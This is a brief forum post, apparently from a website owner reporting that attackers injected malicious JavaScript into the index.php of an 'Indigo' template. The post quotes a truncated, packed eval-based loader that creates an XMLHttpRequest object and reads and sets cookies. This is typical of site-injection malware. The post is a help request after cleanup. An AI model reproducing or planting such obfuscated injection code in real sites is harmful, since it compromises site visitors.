Hi my website was 'attacked' and found malicious malware code inside index.php of the Indigo template. Was a javascript like this

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2 15={\'51\':\'//102.61\',\'6\':\'62\',\'48\':38};23 44(){2 3;9{3=25 55("64.52")}7(11){9{3=25 55("63.52")}7(66){3=38}}5(!3&&67 50!=\'69\'){3=25 50()}42 3};23 18(28){2 6=" "+43.6;2 34=" "+28+"=";2 33=17;2 16=0;2 21=0;5(6.13>0){16=6.37(34);5(16!=-1){16+=34.13;21=6.37(";",16);5(21==-1){21=6.13}33=65(6.56(16,21))}}42(33)};23 19(28,47,24,30,31,36)

now I have cleaned the malicious code, I will point it out if you need more info